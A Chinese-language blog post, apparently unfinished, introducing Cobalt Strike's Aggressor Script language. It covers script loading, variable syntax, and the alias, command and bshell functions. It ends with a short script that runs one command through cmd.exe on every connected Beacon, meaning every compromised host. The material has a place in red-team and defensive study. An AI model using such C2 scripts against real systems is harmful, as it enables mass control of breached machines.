Cobalt Strike Aggressor Script 编写初探

2018-11-16 小屿 Java

未完待续(这文章也暂时懒得更新了,不过之前有段时间在自己实现并集成一系列nday,钓鱼,提权,权限维持等,比开源脚本要强大,但精力有限现在在做其他的事情)。。。


Aggressor Script是Cobalt Strike的内置脚本语言,可以极大的拓展Cobalt Strike的功能,官方资料位于:https://www.cobaltstrike.com/aggressor-script/index.html

以下仅为个人入门学习所理解,如有错误感谢指正


我们可以通过Script Manager加载脚本
scriptloader.jpg

除了Script Manager还有一个Script Console可以用来配置,调试和管理脚本

Script Console提供如下命令:

屏幕快照 2018-11-18 下午8.11.11.png

开发中可以通过e声明变量或者方法,通过x评估表现和打印结果

屏幕快照 2018-11-18 下午8.22.46.png

还可以通过agscript执行cna脚本

./agscript [host] [port] [user] [password] [/path/to/script.cna]


我没仔细看过sleep语言,只大致知道Aggressor Script支持如下3种变量定义:

对于字符串 整型等直接通过 $ 定义,例如 $a = 1; $a = “lol”;

对于数组需要 @ ,例如 $a = @(1, 2, 3, "four");

对于字典需要 % ,例如 $a = %(a => "apple", b => "bat", c => "awesome language", d => 4);

屏幕快照 2018-11-18 下午8.36.30.png

声明方法用sub,例如声明一个addTwoValues方法

sub addTwoValues {
	println($1 + $2);
}
addTwoValues("3", 55.0);

将该方法存为cna格式文件并通过Script Manager载入即可在Script Console看到计算结果

还可以通过command为Script Console注册命令,例如注册一个foo命令并接受一个传入参数

command foo {
	println("Hello $1");
}


在Aggressor Script种提供了许多方法,例如 alias 作用是在Beacon控制台中创建别名命令,官方例子如下:

alias("foo", {
	btask($1, "foo!");
});

btask也是一个方法,更多方法参考:https://www.cobaltstrike.com/aggressor-script/functions.html

例如bshell方法,让Beacon通过cmd.exe执行命令,该方法接收两个参数,分别是Beacon的id和命令内容

当我们拿下许多系统有需要批量执行系统命令就可以很容易的通过编写Aggressor Script来实现,当然Aggressor Script强大在于可以定制自己的Cobalt Strike集成各种0day易于使用。


让Beacon执行cmd的脚本如下:

alias("lol", {
	bshell($1, $2);
});

屏幕快照 2018-11-18 下午9.14.19.png

和shell命令没什么区别、对于批量执行命令,我们需要拿到所有Beacon的id,通过beacons()方法即可

屏幕快照 2018-11-18 下午9.19.50.png

这个时候就可以轻松实现批量执行命令了,如下:

command fuckall {
	$cmd = $1;
	foreach %binfo (beacons()) {
	    $id = %binfo['id'];
	    bshell($id, $cmd)
	}
}

load该脚本然后在Script Console执行fuckall whoami即可向所有傀儡机执行whoami命令


其他的玩法以后再写、未完待续

标签: cobaltstrike

评论:

Sealin
2019-01-23 10:11
牛逼了, 没想到这个域名还在用
小屿
2019-01-24 13:05
@Sealin:懒得换、
AntwanNonia
2018-12-19 19:16
Hello. And Bye.
小屿
2018-12-25 12:10
@AntwanNonia:Good morning. And Good night.

发表评论:

Powered by xia0yu